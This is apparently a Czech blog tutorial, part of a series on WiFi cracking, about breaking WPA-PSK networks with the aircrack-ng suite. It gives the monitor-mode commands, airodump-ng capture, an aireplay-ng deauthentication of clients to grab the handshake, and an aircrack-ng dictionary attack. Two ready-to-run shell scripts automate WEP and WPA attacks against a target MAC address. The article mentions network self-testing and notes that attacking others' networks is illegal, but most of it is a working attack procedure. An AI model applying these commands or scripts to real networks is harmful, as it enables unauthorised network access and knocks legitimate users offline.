Úvod
V minulém článku o crackování WiFi sítí jsme rozebírali zabezpečení WEP, které vzhledem k tomu, že používá statické klíče, jde „nabourat“ nejedním typem útoku založeným na odchytávání inicializačních vektorů (IV). S WPA to není tak jednoduché, protože se klíče mění každých několik minut nebo sekund, což záleží na nastavení. Jediná možnost, jak se dostat do WPA sítí, je u APček zabezpečených přes WPA-PSK, a to ještě ne vždy. Zde už hraje roli duchapřítomnost administrátora, který mohl či nemusel nastavit prolomitelné heslo. Pokud použil jednoduché heslo o pár znacích, tak je brute-force útok možný v lepším případě v řádu hodin. U složitějšího hesla už to mohou být dny, ale spíše roky nebo i tisíce let. Velmi dobrým pomocníkem může být kalkulačka brute-force útoků. Brute-force se tak stává prakticky nepoužitelný.
Další alternativou k brute-force je slovníkový útok. Pro testovací účely je tento útok pravděpodobně nejlepší volbou. Při útocích na náhodná APčka se spíše hodí první volba. Takové počínání je ale ve většině případů nelegální.
Oba typy útoků jsou založeny na zkoušení klíče a jak už někteří určitě pochopili, nejdříve musíme získat materiál, který nám umožní naše kombinace zkoušet. Nezáleží na tom, jestli je síť zabezpečena pomocí WPA nebo WPA2, protože jejich ověřovací postup je prakticky stejný. Než začneme s hledáním klíče, musíme odposlechnout autentizační proces, a to uděláme nejlépe tak, že odpojíme připojené klienty, kteří se budou pravděpodobně snažit znovu k síti připojit. Zachycením tohoto procesu končí „zachytávací“ práce a můžeme se pustit do „hádání“ hesla.
Co potřebujeme
Pokud ověřujeme bezpečnost naší sítě, tak pravděpodobně síť postavená je a máme i připojené klienty. Při pouhém zkoumání crackovacího postupu budeme potřebovat tři WiFi karty, a to nejlépe rozdělené aspoň do dvou strojů. První bude dělat APčko a druhý se k němu připojí. Třetí stroj případě druhá WiFi karta u druhého stroje se do tohoto procesu bude snažit dostat. Odpojí první WiFi kartu a pak se pokusí zachytit, jak se zpátky připojuje k APčku.
Třetí karta, která bude pronikat do autentizačního procesu, musí podporovat packet injection, o kterém píšu v minulém článku. Ve zkratce tato vlastnost slouží pro odesílání námi upravených paketů do sítě. Není to ani tak vlastnost karty jako spíš ovladačů, jejichž oficiální verze se jí brání.
Pokud máme fungující síť a potřebný hardware, tak poslední co budeme potřebovat je balík nástrojů aircrack-ng.
Postup
Níže popisovaný postup jsem použil se svou kartou Intel 4965AGN.
Klíče
Dobrý slovník je základem útoku na WPA-PSK, takže si musíme stáhnout nebo vytvořit kvalitní slovník. Vytváření slovníku je možné například pomocí nástroje coWPAtty. Jednodušší ale je, stáhnout si již vytvořený slovník a ten k útoku použít. Několik zdrojů na slovníky je možné najít na stránkách aircrack-ng.
Monitor mód
Přepnutí karty do monitor módu je základem pro každý útok. Na Intel 4965AGN se to dělá následujícím způsobem:
ip l s wlan0 down
iwconfig wlan0 channel <kanál> mode monitor
ip l s wlan0 up
Druhou možností je využít utilitku airmon-ng, ale ta mi na mém Intelu nefungovala. Pro karty s Atheros chipsetem by neměl být problém.
airmon-ng stop ath0
airmon-ng start wifi0 <kanál>
Nakonec zkontrolujeme správnost nastavení přes program iwconfig.
Zachytávání
Než začneme jakkoli ovlivňovat síť, tak zapneme zachytávání provozu na síti.
airodump-ng -c <kanál> --bssid <MAC_cíle> -w <log_soubor> wlan0
Do log souboru se bude ukládat všechno co proběhne po nastaveném kanále. Ten musí být stejný jako kanál, který jsme nastavili přes iwconfig nebo airmon-ng.
Odpojení jednoho či více klientů
Je zbytečné odpojovat více klientů, když jeden stačí. Stává se občas, že ani odeslání toho správného signálu nepomáhá a klienti na to nereagují. V takovém případě musíme počkat, až se jeden z klientů skutečně připojí.
aireplay-ng -0 1 -a <MAC_cíle> -c <MAC_naší_karty> wlan0
Volba –0 označuje jeden z nejjednodušších útoků a to je odpojení klientů. Jednička označuje kolik jich má být odpojeno.
Nalezení passphrase
Pokud máme vše potřebné pro rozjezd dlouhého porovnávání klíčů, můžeme tak učinit následujícím způsobem:
aircrack-ng -w <soubor_s_klíči> -b <MAC_cíle> <log_soubor>*.cap
Skripty
S tímto postupem můžeme vylepšit skripty, které jsme použili v minulém článku o možnost útoku na WPA-PSK sítě. Původní skript obsahoval šest kroků.
- Nahození interface v monitor módu
- Navrácení interface do původního stavu
- Zachytávání provozu
- Autentizace s AP
- Injektování paketů
- Hledání klíče
A přidáme další dva kroky.
- Odpojování připojených klientů
- Hledání passphrase
První skript fight.sh zůstává stejný.
#!/bin/sh
ESSID=TEST
MYMAC=00:21:5c:47:49:33
TARGETMAC=00:1B:11:C1:A5:62
CHANNEL=1
LOG=/tmp/wpa
if [ "$1" == "r" ]; then
rmmod iwlagn
rmmod iwlcore
rmmod rfkill
sleep 1
modprobe iwlagn
fi
if [ "$1" == "s" ]; then
rmmod iwlagn
rmmod iwlcore
rmmod rfkill
sleep 2
modprobe iwlagn
sleep 1
ip l s wlan0 down
iwconfig wlan0 mode Monitor
ip l s wlan0 up
sleep 2
fi
sh /home/cx/bin/crackwifi.sh $1 $MYMAC $TARGETMAC $ESSID $CHANNEL $LOG
Druhý dostal zmíněné dva kroky navíc.
#!/bin/sh
MYMAC=$2
TARGETMAC=$3
ESSID=$4
LOG=$6
C=$5
case $1 in
"-h" )
echo "$0 <X/4> <moje mac> <cílová mac> <essid> <kanál> <log>"
;;
"1" )
echo "Logování provozu"
airodump-ng -c $C --bssid $TARGETMAC -w $LOG wlan0
;;
"2" )
echo "Připojení k AP"
#aireplay-ng -1 0 -e $ESSID -a $TARGETMAC -h $MYMAC wlan0
aireplay-ng -1 6000 -o 1 -q 10 -e $ESSID -a $TARGETMAC -h $MYMAC wlan0
;;
"3" )
echo "Odesílání upravených paketů"
aireplay-ng -3 -b $TARGETMAC -h $MYMAC wlan0
;;
"4" )
echo "Nalezení WEP klíče"
aircrack-ng -z -b $TARGETMAC $LOG*.cap
;;
"w2" )
echo "Deautorizace"
aireplay-ng -0 1 -a $TARGETMAC -c $MYMAC wlan0
;;
"w3" )
echo "Zkoušení hesel"
aircrack-ng -w pass.bin -b $TARGETMAC $LOG*.cap
;;
esac
Použití je stejně jednoduché jako předtím. Stačí ve fight.sh vyplnit potřebné proměnné a v případě útoku na WPA-PSK nahrát do aktuálního adresáře soubor pass.bin s klíči a spustit:
sh fight.sh 1 # zachytávání provozu
sh fight.sh w2 # odpojení jednoho klienta
sh fight.sh w3 # pokusit se zjistit passphrasy
Závěr
Ač se nejedná o zrovna spolehlivý útok, je dobré o něm vědět a připravit svoji síť na podobné pokusy. Nebezpečí, které plyne z volby klíče, by si měl každý uvědomit a podle toho se zařídit. Na druhou stranu pokud útočník zjistí ve svém okolí dvě sítě, z nichž jedna bude mít WPA-PSK a druhá WEP, tak se do té první hned pouštět nebude. Aircrack-ng umí využívat při útoku pouze slovníky a pravděpodobně nenastane den, kdy by bylo možné prolomit WPA-PSK během rozumné doby, tedy nalézt jinou chybu než nezodpovědnost administrátorů, která by šla zneužít.